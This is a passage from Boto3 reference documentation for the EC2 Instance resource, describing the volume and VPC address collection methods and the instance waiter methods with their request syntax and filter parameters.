is used, DescribeVolumes only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeVolumes request with the returned NextToken value. This value can be between 5 and 500; if MaxResults is given a value larger than 500, only 500 results are returned. If this parameter is not used, then DescribeVolumes returns all results. You cannot specify this parameter and the volume IDs parameter in the same request. +- **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeVolumes request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Volume resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +page_size(kwargs_) + +Creates an iterable of all Volume resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeVolumes) + +**Request Syntax** + +volume_iterator = instance.volumes.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Volume) + +Returns + +A list of Volume resources + +vpc_addresses + +A collection of VpcAddress resources.A VpcAddress Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.all() + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +filter(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection filtered by kwargs passed to method.A VpcAddress collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.filter( + PublicIps=[ + 'string', + ], + AllocationIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +- **PublicIps** (_list_) -- + + One or more Elastic IP addresses. + + Default: Describes all your Elastic IP addresses. + + - _(string) --_ +- **AllocationIds** (_list_) -- + + [EC2-VPC] Information about the allocation IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of VpcAddress resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +page_size(kwargs_) + +Creates an iterable of all VpcAddress resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeAddresses) + +**Request Syntax** + +vpc_address_iterator = instance.vpc_addresses.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.VpcAddress) + +Returns + +A list of VpcAddress resources + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_exists(kwargs_) + +Waits until this Instance is exists. This method calls EC2.Waiter.instance_exists.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 5 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_exists( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_running(kwargs_) + +Waits until this Instance is running. This method calls EC2.Waiter.instance_running.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_running( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_stopped(kwargs_) + +Waits until this Instance is stopped. This method calls EC2.Waiter.instance_stopped.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_stopped( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 address associated with the network interface. + - network-interface.association.public-ip - The address of the Elastic IP address (IPv4) bound to the network interface. + - network-interface.association.ip-owner-id - The owner of the Elastic IP address (IPv4) associated with the network interface. + - network-interface.association.allocation-id - The allocation ID returned when you allocated the Elastic IP address (IPv4) for your network interface. + - network-interface.association.association-id - The association ID returned when the network interface was associated with an IPv4 address. + - network-interface.attachment.attachment-id - The ID of the interface attachment. + - network-interface.attachment.instance-id - The ID of the instance to which the network interface is attached. + - network-interface.attachment.instance-owner-id - The owner ID of the instance to which the network interface is attached. + - network-interface.attachment.device-index - The device index to which the network interface is attached. + - network-interface.attachment.status - The status of the attachment (attaching | attached | detaching | detached ). + - network-interface.attachment.attach-time - The time that the network interface was attached to an instance. + - network-interface.attachment.delete-on-termination - Specifies whether the attachment is deleted when an instance is terminated. + - network-interface.availability-zone - The Availability Zone for the network interface. + - network-interface.description - The description of the network interface. + - network-interface.group-id - The ID of a security group associated with the network interface. + - network-interface.group-name - The name of a security group associated with the network interface. + - network-interface.ipv6-addresses.ipv6-address - The IPv6 address associated with the network interface. + - network-interface.mac-address - The MAC address of the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.owner-id - The ID of the owner of the network interface. + - network-interface.private-dns-name - The private DNS name of the network interface. + - network-interface.requester-id - The requester ID for the network interface. + - network-interface.requester-managed - Indicates whether the network interface is being managed by AWS. + - network-interface.status - The status of the network interface (available ) | in-use ). + - network-interface.source-dest-check - Whether the network interface performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the network interface to perform network address translation (NAT) in your VPC. + - network-interface.subnet-id - The ID of the subnet for the network interface. + - network-interface.vpc-id - The ID of the VPC for the network interface. + - owner-id - The AWS account ID of the instance owner. + - placement-group-name - The name of the placement group for the instance. + - placement-partition-number - The partition in which the instance is located. + - platform - The platform. To list only Windows instances, use windows . + - private-dns-name - The private IPv4 DNS name of the instance. + - private-ip-address - The private IPv4 address of the instance. + - product-code - The product code associated with the AMI used to launch the instance. + - product-code.type - The type of product code (devpay | marketplace ). + - ramdisk-id - The RAM disk ID. + - reason - The reason for the current state of the instance (for example, shows "User Initiated [date]" when you stop or terminate the instance). Similar to the state-reason-code filter. + - requester-id - The ID of the entity that launched the instance on your behalf (for example, AWS Management Console, Auto Scaling, and so on). + - reservation-id - The ID of the instance's reservation. A reservation ID is created any time you launch an instance. A reservation ID has a one-to-one relationship with an instance launch request, but can be associated with more than one instance if you launch multiple instances using the same launch request. For example, if you launch one instance, you get one reservation ID. If you launch ten instances using the same launch request, you also get one reservation ID. + - root-device-name - The device name of the root device volume (for example, /dev/sda1 ). + - root-device-type - The type of the root device volume (ebs | instance-store ). + - source-dest-check - Indicates whether the instance performs source/destination checking. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform network address translation (NAT) in your VPC. + - spot-instance-request-id - The ID of the Spot Instance request. + - state-reason-code - The reason code for the state change. + - state-reason-message - A message that describes the state change. + - subnet-id - The ID of the subnet for the instance. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources that have a tag with a specific key, regardless of the tag value. + - tenancy - The tenancy of an instance (dedicated | default | host ). + - virtualization-type - The virtualization type of the instance (paravirtual | hvm ). + - vpc-id - The ID of the VPC that the instance is running in. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Returns + +None + +wait_until_terminated(kwargs_) + +Waits until this Instance is terminated. This method calls EC2.Waiter.instance_terminated.wait() which polls. [EC2.Client.describe_instances()](#EC2.Client.describe_instances "EC2.Client.describe_instances") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance.wait_until_terminated( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - affinity - The affinity setting for an instance running on a Dedicated Host (default | host ). + - architecture - The instance architecture (i386 | x86_64 | arm64 ). + - availability-zone - The Availability Zone of the instance. + - block-device-mapping.attach-time - The attach time for an EBS volume mapped to the instance, for example, 2010-09-15T17:15:20.000Z . + - block-device-mapping.delete-on-termination - A Boolean that indicates whether the EBS volume is deleted on instance termination. + - block-device-mapping.device-name - The device name specified in the block device mapping (for example, /dev/sdh or xvdh ). + - block-device-mapping.status - The status for the EBS volume (attaching | attached | detaching | detached ). + - block-device-mapping.volume-id - The volume ID of the EBS volume. + - client-token - The idempotency token you provided when you launched the instance. + - dns-name - The public DNS name of the instance. + - group-id - The ID of the security group for the instance. EC2-Classic only. + - group-name - The name of the security group for the instance. EC2-Classic only. + - hibernation-options.configured - A Boolean that indicates whether the instance is enabled for hibernation. A value of true means that the instance is enabled for hibernation. + - host-id - The ID of the Dedicated Host on which the instance is running, if applicable. + - hypervisor - The hypervisor type of the instance (ovm | xen ). The value xen is used for both Xen and Nitro hypervisors. + - iam-instance-profile.arn - The instance profile associated with the instance. Specified as an ARN. + - image-id - The ID of the image used to launch the instance. + - instance-id - The ID of the instance. + - instance-lifecycle - Indicates whether this is a Spot Instance or a Scheduled Instance (spot | scheduled ). + - instance-state-code - The state of the instance, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are: 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-type - The type of instance (for example, t2.micro ). + - instance.group-id - The ID of the security group for the instance. + - instance.group-name - The name of the security group for the instance. + - ip-address - The public IPv4 address of the instance. + - kernel-id - The kernel ID. + - key-name - The name of the key pair used when the instance was launched. + - launch-index - When launching multiple instances, this is the index for the instance in the launch group (for example, 0, 1, 2, and so on). + - launch-time - The time when the instance was launched. + - metadata-options.http-tokens - The metadata request authorization state (optional | required ) + - metadata-options.http-put-response-hop-limit - The http metadata request put response hop limit (integer, possible values 1 to 64 ) + - metadata-options.http-endpoint - Enable or disable metadata access on http endpoint (enabled | disabled ) + - monitoring-state - Indicates whether detailed monitoring is enabled (disabled | enabled ). + - network-interface.addresses.private-ip-address - The private IPv4 address associated with the network interface. + - network-interface.addresses.primary - Specifies whether the IPv4 address of the network interface is the primary private IPv4 address. + - network-interface.addresses.association.public-ip - The ID of the association of an Elastic IP address (IPv4) with a network interface. + - network-interface.addresses.association.ip-owner-id - The owner ID of the private IPv4 